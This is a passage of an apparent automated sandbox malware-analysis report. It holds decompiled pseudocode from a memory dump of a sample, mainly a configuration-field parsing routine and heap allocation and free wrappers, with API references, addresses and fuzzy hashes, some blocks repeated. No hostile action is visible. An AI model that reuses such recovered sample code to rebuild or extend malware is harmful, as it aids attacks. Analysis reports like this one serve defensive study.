    									 *((intOrPtr*)( *((intOrPtr*)(_t320 + 0xc)) + 0x10d68)) = StrToIntA( *( *((intOrPtr*)(_t320 + 8)) + 0x34));
    								}
    							}
    							if(( *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) & 0x000000ff) != 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x3c)) == 0) {
    								L67:
    								 *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) = 1;
    								 *((intOrPtr*)(_t320 - 8)) = 0x682e;
    							} else {
    								_t206 = E00A430B0( *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x3c)));
    								_t322 = _t322 + 4;
    								if(_t206 <= 0) {
    									goto L67;
    								} else {
    									_t208 = E00A43A90( *((intOrPtr*)(_t320 + 8)),  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x3c)),  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x3c)), 0xa49c54);
    									_t322 = _t322 + 8;
    									if(_t208 != 0) {
    										 *((intOrPtr*)(_t320 - 0x20)) = 0;
    									} else {
    										 *((intOrPtr*)(_t320 - 0x20)) = 1;
    									}
    									 *((intOrPtr*)( *((intOrPtr*)(_t320 + 0xc)) + 0x1003c)) =  *((intOrPtr*)(_t320 - 0x20));
    								}
    							}
    						}
    					}
    				}
    				if(( *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) & 0x000000ff) != 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x40)) == 0) {
    					L75:
    					 *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) = 1;
    					 *((intOrPtr*)(_t320 - 8)) = 0x682f;
    				} else {
    					_t189 = E00A430B0( *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x40)));
    					_t322 = _t322 + 4;
    					if(_t189 <= 0) {
    						goto L75;
    					} else {
    						_t190 = E00A43A90(_t189,  *((intOrPtr*)(_t320 + 8)),  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x40)), 0xa49c58);
    						_t322 = _t322 + 8;
    						if(_t190 != 0) {
    							 *((intOrPtr*)(_t320 - 0x24)) = 0;
    						} else {
    							 *((intOrPtr*)(_t320 - 0x24)) = 1;
    						}
    						 *((char*)( *((intOrPtr*)(_t320 + 0xc)) + 0x10045)) =  *((intOrPtr*)(_t320 - 0x24));
    					}
    				}
    				if(( *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) & 0x000000ff) != 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x44)) == 0) {
    					L83:
    					 *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) = 1;
    					 *((intOrPtr*)(_t320 - 8)) = 0x6820;
    				} else {
    					_t245 =  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x44));
    					if(E00A430B0( *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x44))) <= 0) {
    						goto L83;
    					} else {
    						if(E00A43A90( *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x44)), _t245,  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x44)), 0xa49c5c) != 0) {
    							 *((intOrPtr*)(_t320 - 0x28)) = 0;
    						} else {
    							 *((intOrPtr*)(_t320 - 0x28)) = 1;
    						}
    						 *((char*)( *((intOrPtr*)(_t320 + 0xc)) + 0x10046)) =  *((intOrPtr*)(_t320 - 0x28));
    					}
    				}
    				 *((char*)( *((intOrPtr*)(_t320 + 0xc)) + 0x10019)) = 0;
    				return  *((intOrPtr*)(_t320 - 8));
    			}





















    0x00a44160
    0x00a4417a
    0x00a4417f
    0x00a44184
    0x00a44192
    0x00a44196
    0x00a4419b
    0x00a441a0
    0x00a441b2
    0x00a44206
    0x00a44209
    0x00a44210
    0x00a441bd
    0x00a441c0
    0x00a441c4
    0x00a441c9
    0x00a441ce
    0x00000000
    0x00a441d0
    0x00a441dc
    0x00a441e1
    0x00a441e6
    0x00a441f1
    0x00a441e8
    0x00a441e8
    0x00a441e8
    0x00a441fe
    0x00a441fe
    0x00a441ce
    0x00a4421e
    0x00a44234
    0x00a44220
    0x00a44227
    0x00a4422c
    0x00a4422f
    0x00a4422f
    0x00a44247
    0x00a4427e
    0x00a44285
    0x00a44261
    0x00a44271
    0x00a44276
    0x00a44276
    0x00a44298
    0x00a442ec
    0x00a442ef
    0x00a442a3
    0x00a442aa
    0x00a442af
    0x00a442b4
    0x00000000
    0x00a442b6
    0x00a442c2
    0x00a442c7
    0x00a442cc
    0x00a442d7
    0x00a442ce
    0x00a442ce
    0x00a442ce
    0x00a442e4
    0x00a442e4
    0x00a442b4
    0x00a442fd
    0x00a44313
    0x00a442ff
    0x00a44306
    0x00a4430b
    0x00a4430e
    0x00a4430e
    0x00a44326
    0x00a4435e
    0x00a44365
    0x00a44340
    0x00a44351
    0x00a44356
    0x00a44356
    0x00a44378
    0x00a443ae
    0x00a443b1
    0x00a443b8
    0x00a44383
    0x00a4438a
    0x00a4438f
    0x00a44394
    0x00000000
    0x00a44396
    0x00a443a6
    0x00a443a6
    0x00a44394
    0x00a443cb
    0x00a44401
    0x00a44404
    0x00a4440b
    0x00a443d6
    0x00a443dd
    0x00a443e2
    0x00a443e7
    0x00000000
    0x00a443e9
    0x00a443f9
    0x00a443f9
    0x00a443e7
    0x00a4441e
    0x00a44454
    0x00a44457
    0x00a4445e
    0x00a44429
    0x00a44430
    0x00a44435
    0x00a4443a
    0x00000000
    0x00a4443c
    0x00a4444c
    0x00a4444c
    0x00a4443a
    0x00a44471
    0x00a444a7
    0x00a444aa
    0x00a444b1
    0x00a4447c
    0x00a44483
    0x00a44488
    0x00a4448d
    0x00000000
    0x00a4448f
    0x00a4449f
    0x00a4449f
    0x00a4448d
    0x00a444c4
    0x00a44518
    0x00a4451b
    0x00a44522
    0x00a444cf
    0x00a444d6
    0x00a444db
    0x00a444e0
    0x00000000
    0x00a444e2
    0x00a444ee
    0x00a444f3
    0x00a444f8
    0x00a44503
    0x00a444fa
    0x00a444fa
    0x00a444fa
    0x00a44510
    0x00a44510
    0x00a444e0
    0x00a444c4
    0x00a441a0
    0x00a44184
    0x00a44535
    0x00a44589
    0x00a4458c
    0x00a44593
    0x00a44540
    0x00a44547
    0x00a4454c
    0x00a44551
    0x00000000
    0x00a44553
    0x00a4455f
    0x00a44564
    0x00a44569
    0x00a44574
    0x00a4456b
    0x00a4456b
    0x00a4456b
    0x00a44581
    0x00a44581
    0x00a44551
    0x00a445a6
    0x00a445fa
    0x00a445fd
    0x00a44604
    0x00a445b1
    0x00a445b4
    0x00a445c2
    0x00000000
    0x00a445c4
    0x00a445da
    0x00a445e5
    0x00a445dc
    0x00a445dc
    0x00a445dc
    0x00a445f2
    0x00a445f2
    0x00a445c2
    0x00a4460e
    0x00a4461b

    APIs
    • StrToIntA.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,00A44BE3), ref: 00A4439D
    • StrToIntA.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,00A44BE3), ref: 00A443F0
    • StrToIntA.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,00A44BE3), ref: 00A44443
    • StrToIntA.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,00A44BE3), ref: 00A44496
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID:
    • String ID:
    • API String ID:
    • Opcode ID: 927bf7a1d4023f9c77730bf601fca45fa17bb03042052970946e9669bfe144cf
    • Instruction ID: 856b139bd23e2769c250cf9acf48d370ce150da1915042af3f827b3b11284c7d
    • Opcode Fuzzy Hash: 927bf7a1d4023f9c77730bf601fca45fa17bb03042052970946e9669bfe144cf
    • Instruction Fuzzy Hash: 3FD1497C600204ABDB14CF64C584BAA7BB5AFC8355F188168EC4A8F342E775EE85DB91
    Uniqueness

    Uniqueness Score: -1.00%

    C-Code - Quality: 100%
    			E00A44146() {
    				void* _t189;
    				void* _t190;
    				void* _t193;
    				void* _t194;
    				void* _t206;
    				void* _t208;
    				void* _t211;
    				void* _t215;
    				void* _t219;
    				void* _t223;
    				intOrPtr _t228;
    				void* _t230;
    				void* _t231;
    				intOrPtr _t238;
    				void* _t240;
    				void* _t242;
    				void* _t320;
    				void* _t322;
    
    				if(( *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) & 0x000000ff) == 0 &&  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x18)) != 0) {
    					_t193 = E00A430B0( *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x18)));
    					_t322 = _t322 + 4;
    					if(_t193 > 0) {
    						_t8 =  *((intOrPtr*)(_t320 + 8)) + 0x18; // 0x31
    						_t194 = E00A43A90(_t193,  *((intOrPtr*)(_t320 + 8)),  *_t8, 0xa49c48);
    						_t322 = _t322 + 8;
    						if(_t194 == 0) {
    							if(( *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) & 0x000000ff) != 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x1c)) == 0) {
    								L12:
    								 *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) = 1;
    								 *((intOrPtr*)(_t320 - 8)) = 0x6828;
    							} else {
    								_t279 =  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x1c));
    								_t240 = E00A430B0( *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x1c)));
    								_t322 = _t322 + 4;
    								if(_t240 <= 0) {
    									goto L12;
    								} else {
    									_t242 = E00A43A90( *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x1c)), _t279,  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x1c)), 0xa49c4c);
    									_t322 = _t322 + 8;
    									if(_t242 != 0) {
    										 *((intOrPtr*)(_t320 - 0x18)) = 0;
    									} else {
    										 *((intOrPtr*)(_t320 - 0x18)) = 1;
    									}
    									 *((char*)( *((intOrPtr*)(_t320 + 0xc)) + 0x1001a)) =  *((intOrPtr*)(_t320 - 0x18));
    								}
    							}
    							if( *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x20)) == 0) {
    								 *((intOrPtr*)(_t320 - 4)) = 0xffffffff;
    							} else {
    								_t238 = E00A430B0( *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x20)));
    								_t322 = _t322 + 4;
    								 *((intOrPtr*)(_t320 - 4)) = _t238;
    							}
    							if(( *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) & 0x000000ff) != 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x20)) == 0 ||  *((intOrPtr*)(_t320 - 4)) <= 0 ||  *((intOrPtr*)(_t320 - 4)) >= 0xff) {
    								 *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) = 1;
    								 *((intOrPtr*)(_t320 - 8)) = 0x6829;
    							} else {
    								E00A41A10( *((intOrPtr*)(_t320 + 0xc)) + 0x10047,  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x20)));
    								_t322 = _t322 + 8;
    							}
    							if(( *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) & 0x000000ff) != 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x24)) == 0) {
    								L29:
    								 *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) = 1;
    							} else {
    								_t230 = E00A430B0( *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x24)));
    								_t322 = _t322 + 4;
    								if(_t230 <= 0) {
    									goto L29;
    								} else {
    									_t231 = E00A43A90(_t230,  *((intOrPtr*)(_t320 + 8)),  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x24)), 0xa49c50);
    									_t322 = _t322 + 8;
    									if(_t231 != 0) {
    										 *((intOrPtr*)(_t320 - 0x1c)) = 0;
    									} else {
    										 *((intOrPtr*)(_t320 - 0x1c)) = 1;
    									}
    									 *((char*)( *((intOrPtr*)(_t320 + 0xc)) + 0x10154)) =  *((intOrPtr*)(_t320 - 0x1c));
    								}
    							}
    							if( *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x28)) == 0) {
    								 *((intOrPtr*)(_t320 - 4)) = 0xffffffff;
    							} else {
    								_t228 = E00A430B0( *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x28)));
    								_t322 = _t322 + 4;
    								 *((intOrPtr*)(_t320 - 4)) = _t228;
    							}
    							if(( *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) & 0x000000ff) != 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x28)) == 0 ||  *((intOrPtr*)(_t320 - 4)) <= 0 ||  *((intOrPtr*)(_t320 - 4)) >= 0x400) {
    								 *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) = 1;
    								 *((intOrPtr*)(_t320 - 8)) = 0x682a;
    							} else {
    								E00A41A10( *((intOrPtr*)(_t320 + 0xc)) + 0x10155,  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x28)));
    								_t322 = _t322 + 8;
    							}
    							if(( *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) & 0x000000ff) != 0 ||  *( *((intOrPtr*)(_t320 + 8)) + 0x2c) == 0) {
    								L43:
    								 *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) = 1;
    								 *((intOrPtr*)(_t320 - 8)) = 0x682b;
    							} else {
    								_t223 = E00A430B0( *( *((intOrPtr*)(_t320 + 8)) + 0x2c));
    								_t322 = _t322 + 4;
    								if(_t223 <= 0) {
    									goto L43;
    								} else {
    									 *((intOrPtr*)( *((intOrPtr*)(_t320 + 0xc)) + 0x10d5c)) = StrToIntA( *( *((intOrPtr*)(_t320 + 8)) + 0x2c));
    								}
    							}
    							if(( *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) & 0x000000ff) != 0 ||  *( *((intOrPtr*)(_t320 + 8)) + 0x30) == 0) {
    								L48:
    								 *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) = 1;
    								 *((intOrPtr*)(_t320 - 8)) = 0x682c;
    							} else {
    								_t219 = E00A430B0( *( *((intOrPtr*)(_t320 + 8)) + 0x30));
    								_t322 = _t322 + 4;
    								if(_t219 <= 0) {
    									goto L48;
    								} else {
    									 *((intOrPtr*)( *((intOrPtr*)(_t320 + 0xc)) + 0x10d60)) = StrToIntA( *( *((intOrPtr*)(_t320 + 8)) + 0x30));
    								}
    							}
    							if(( *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) & 0x000000ff) != 0 ||  *( *((intOrPtr*)(_t320 + 8)) + 0x38) == 0) {
    								L53:
    								 *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) = 1;
    								 *((intOrPtr*)(_t320 - 8)) = 0x6821;
    							} else {
    								_t215 = E00A430B0( *( *((intOrPtr*)(_t320 + 8)) + 0x38));
    								_t322 = _t322 + 4;
    								if(_t215 <= 0) {
    									goto L53;
    								} else {
    									 *((intOrPtr*)( *((intOrPtr*)(_t320 + 0xc)) + 0x10d64)) = StrToIntA( *( *((intOrPtr*)(_t320 + 8)) + 0x38));
    								}
    							}
    							if(( *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) & 0x000000ff) != 0 ||  *( *((intOrPtr*)(_t320 + 8)) + 0x34) == 0) {
    								L58:
    								 *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) = 1;
    								 *((intOrPtr*)(_t320 - 8)) = 0x682d;
    							} else {
    								_t211 = E00A430B0( *( *((intOrPtr*)(_t320 + 8)) + 0x34));
    								_t322 = _t322 + 4;
    								if(_t211 <= 0) {
    									goto L58;
    								} else {
    									 *((intOrPtr*)( *((intOrPtr*)(_t320 + 0xc)) + 0x10d68)) = StrToIntA( *( *((intOrPtr*)(_t320 + 8)) + 0x34));
    								}
    							}
    							if(( *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) & 0x000000ff) != 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x3c)) == 0) {
    								L66:
    								 *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) = 1;
    								 *((intOrPtr*)(_t320 - 8)) = 0x682e;
    							} else {
    								_t206 = E00A430B0( *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x3c)));
    								_t322 = _t322 + 4;
    								if(_t206 <= 0) {
    									goto L66;
    								} else {
    									_t208 = E00A43A90( *((intOrPtr*)(_t320 + 8)),  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x3c)),  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x3c)), 0xa49c54);
    									_t322 = _t322 + 8;
    									if(_t208 != 0) {
    										 *((intOrPtr*)(_t320 - 0x20)) = 0;
    									} else {
    										 *((intOrPtr*)(_t320 - 0x20)) = 1;
    									}
    									 *((intOrPtr*)( *((intOrPtr*)(_t320 + 0xc)) + 0x1003c)) =  *((intOrPtr*)(_t320 - 0x20));
    								}
    							}
    						}
    					}
    				}
    				if(( *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) & 0x000000ff) != 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x40)) == 0) {
    					L74:
    					 *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) = 1;
    					 *((intOrPtr*)(_t320 - 8)) = 0x682f;
    				} else {
    					_t189 = E00A430B0( *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x40)));
    					_t322 = _t322 + 4;
    					if(_t189 <= 0) {
    						goto L74;
    					} else {
    						_t190 = E00A43A90(_t189,  *((intOrPtr*)(_t320 + 8)),  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x40)), 0xa49c58);
    						_t322 = _t322 + 8;
    						if(_t190 != 0) {
    							 *((intOrPtr*)(_t320 - 0x24)) = 0;
    						} else {
    							 *((intOrPtr*)(_t320 - 0x24)) = 1;
    						}
    						 *((char*)( *((intOrPtr*)(_t320 + 0xc)) + 0x10045)) =  *((intOrPtr*)(_t320 - 0x24));
    					}
    				}
    				if(( *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) & 0x000000ff) != 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x44)) == 0) {
    					L82:
    					 *( *((intOrPtr*)(_t320 + 0xc)) + 0x10018) = 1;
    					 *((intOrPtr*)(_t320 - 8)) = 0x6820;
    				} else {
    					_t245 =  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x44));
    					if(E00A430B0( *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x44))) <= 0) {
    						goto L82;
    					} else {
    						if(E00A43A90( *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x44)), _t245,  *((intOrPtr*)( *((intOrPtr*)(_t320 + 8)) + 0x44)), 0xa49c5c) != 0) {
    							 *((intOrPtr*)(_t320 - 0x28)) = 0;
    						} else {
    							 *((intOrPtr*)(_t320 - 0x28)) = 1;
    						}
    						 *((char*)( *((intOrPtr*)(_t320 + 0xc)) + 0x10046)) =  *((intOrPtr*)(_t320 - 0x28));
    					}
    				}
    				 *((char*)( *((intOrPtr*)(_t320 + 0xc)) + 0x10019)) = 0;
    				return  *((intOrPtr*)(_t320 - 8));
    			}





















    0x00a44160
    0x00a4417a
    0x00a4417f
    0x00a44184
    0x00a44192
    0x00a44196
    0x00a4419b
    0x00a441a0
    0x00a441b2
    0x00a44206
    0x00a44209
    0x00a44210
    0x00a441bd
    0x00a441c0
    0x00a441c4
    0x00a441c9
    0x00a441ce
    0x00000000
    0x00a441d0
    0x00a441dc
    0x00a441e1
    0x00a441e6
    0x00a441f1
    0x00a441e8
    0x00a441e8
    0x00a441e8
    0x00a441fe
    0x00a441fe
    0x00a441ce
    0x00a4421e
    0x00a44234
    0x00a44220
    0x00a44227
    0x00a4422c
    0x00a4422f
    0x00a4422f
    0x00a44247
    0x00a4427e
    0x00a44285
    0x00a44261
    0x00a44271
    0x00a44276
    0x00a44276
    0x00a44298
    0x00a442ec
    0x00a442ef
    0x00a442a3
    0x00a442aa
    0x00a442af
    0x00a442b4
    0x00000000
    0x00a442b6
    0x00a442c2
    0x00a442c7
    0x00a442cc
    0x00a442d7
    0x00a442ce
    0x00a442ce
    0x00a442ce
    0x00a442e4
    0x00a442e4
    0x00a442b4
    0x00a442fd
    0x00a44313
    0x00a442ff
    0x00a44306
    0x00a4430b
    0x00a4430e
    0x00a4430e
    0x00a44326
    0x00a4435e
    0x00a44365
    0x00a44340
    0x00a44351
    0x00a44356
    0x00a44356
    0x00a44378
    0x00a443ae
    0x00a443b1
    0x00a443b8
    0x00a44383
    0x00a4438a
    0x00a4438f
    0x00a44394
    0x00000000
    0x00a44396
    0x00a443a6
    0x00a443a6
    0x00a44394
    0x00a443cb
    0x00a44401
    0x00a44404
    0x00a4440b
    0x00a443d6
    0x00a443dd
    0x00a443e2
    0x00a443e7
    0x00000000
    0x00a443e9
    0x00a443f9
    0x00a443f9
    0x00a443e7
    0x00a4441e
    0x00a44454
    0x00a44457
    0x00a4445e
    0x00a44429
    0x00a44430
    0x00a44435
    0x00a4443a
    0x00000000
    0x00a4443c
    0x00a4444c
    0x00a4444c
    0x00a4443a
    0x00a44471
    0x00a444a7
    0x00a444aa
    0x00a444b1
    0x00a4447c
    0x00a44483
    0x00a44488
    0x00a4448d
    0x00000000
    0x00a4448f
    0x00a4449f
    0x00a4449f
    0x00a4448d
    0x00a444c4
    0x00a44518
    0x00a4451b
    0x00a44522
    0x00a444cf
    0x00a444d6
    0x00a444db
    0x00a444e0
    0x00000000
    0x00a444e2
    0x00a444ee
    0x00a444f3
    0x00a444f8
    0x00a44503
    0x00a444fa
    0x00a444fa
    0x00a444fa
    0x00a44510
    0x00a44510
    0x00a444e0
    0x00a444c4
    0x00a441a0
    0x00a44184
    0x00a44535
    0x00a44589
    0x00a4458c
    0x00a44593
    0x00a44540
    0x00a44547
    0x00a4454c
    0x00a44551
    0x00000000
    0x00a44553
    0x00a4455f
    0x00a44564
    0x00a44569
    0x00a44574
    0x00a4456b
    0x00a4456b
    0x00a4456b
    0x00a44581
    0x00a44581
    0x00a44551
    0x00a445a6
    0x00a445fa
    0x00a445fd
    0x00a44604
    0x00a445b1
    0x00a445b4
    0x00a445c2
    0x00000000
    0x00a445c4
    0x00a445da
    0x00a445e5
    0x00a445dc
    0x00a445dc
    0x00a445dc
    0x00a445f2
    0x00a445f2
    0x00a445c2
    0x00a4460e
    0x00a4461b

    APIs
    • StrToIntA.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,00A44BE3), ref: 00A4439D
    • StrToIntA.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,00A44BE3), ref: 00A443F0
    • StrToIntA.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,00A44BE3), ref: 00A44443
    • StrToIntA.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,00A44BE3), ref: 00A44496
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID:
    • String ID:
    • API String ID:
    • Opcode ID: 40d5e3b40641ba006ca4b4f8d38b310c1cf8f35bae0ac24d1f14776e5095ab34
    • Instruction ID: d03aad78d5306f34aedc5fddc032f9d8c8a49ce9050a9267fc339f0c37f2e037
    • Opcode Fuzzy Hash: 40d5e3b40641ba006ca4b4f8d38b310c1cf8f35bae0ac24d1f14776e5095ab34
    • Instruction Fuzzy Hash: 5FD1497C600204ABDB14CF64C584BAA7BB5AFC8355F188168EC4A8F342E775EE85DB91
    Uniqueness

    Uniqueness Score: -1.00%

    C-Code - Quality: 100%
    			E00A424F0(void* __ecx, void* _a4) {
    				long _v8;
    				void* _t8;
    
    				if(_a4 != 0) {
    					_v8 = HeapSize(GetProcessHeap(), 0, _a4);
    					if(_v8 != 0xffffffff) {
    						E00A423E0(_v8, _a4, _v8);
    					}
    					return HeapFree(GetProcessHeap(), 0, _a4);
    				}
    				return _t8;
    			}





    0x00a424f8
    0x00a4250d
    0x00a42514
    0x00a4251e
    0x00a4251e
    0x00000000
    0x00a42530
    0x00a42539

    APIs
    • GetProcessHeap.KERNEL32(00000000,00000000,00000001,?,00A4263C,00A45167,?,00A451B5,00000001,000001AC,00000000), ref: 00A42500
    • HeapSize.KERNEL32(00000000,?,00A4263C,00A45167,?,00A451B5,00000001,000001AC,00000000), ref: 00A42507
    • GetProcessHeap.KERNEL32(00000000,00000000,?,00A4263C,00A45167,?,00A451B5,00000001,000001AC,00000000), ref: 00A42529
    • HeapFree.KERNEL32(00000000,?,00A4263C,00A45167,?,00A451B5,00000001,000001AC,00000000), ref: 00A42530
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID: Heap$Process$FreeSize
    • String ID:
    • API String ID: 1305341483-0
    • Opcode ID: f4ff2b93507c2aef8a38cb9a8d8881b48c8b05020ed12f3279b9df83f8369fbf
    • Instruction ID: 8247bae8a240b7d88e9e8cafed3d08a7f6fb5b2442c92750483c408cedde33e6
    • Opcode Fuzzy Hash: f4ff2b93507c2aef8a38cb9a8d8881b48c8b05020ed12f3279b9df83f8369fbf
    • Instruction Fuzzy Hash: C8F08C7D500208FBCB10DFE4EC49BAF7B78EB89301F008208FA058B190D7359A51DBA1
    Uniqueness

    Uniqueness Score: -1.00%

    C-Code - Quality: 100%
    			E00A42450(void* _a4, long _a8) {
    
    				if(_a8 != 0) {
    					if(_a4 != 0) {
    						return HeapReAlloc(GetProcessHeap(), 8, _a4, _a8);
    					}
    					return HeapAlloc(GetProcessHeap(), 8, _a8);
    				}
    				return 0;
    			}



    0x00a42457
    0x00a42461
    0x00000000
    0x00a4248b
    0x00000000
    0x00a42470
    0x00000000

    APIs
    • GetProcessHeap.KERNEL32(00000008,00000000), ref: 00A42469
    • HeapAlloc.KERNEL32(00000000), ref: 00A42470
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID: Heap$AllocProcess
    • String ID:
    • API String ID: 1617791916-0
    • Opcode ID: 31247ab4218be0d4c1f5755a1a1e06352a082efcdd769121e3308ca6eb46793e
    • Instruction ID: 58e5b95953fa439f487382c7833999291fda264301352f9f70f5b90c95900267
    • Opcode Fuzzy Hash: 31247ab4218be0d4c1f5755a1a1e06352a082efcdd769121e3308ca6eb46793e
    • Instruction Fuzzy Hash: 33E0C27D140218EBDB10DBE4E849BAB3778FBC9311F40C404BA9A8A090CB7699A5DB60
    Uniqueness

    Uniqueness Score: -1.00%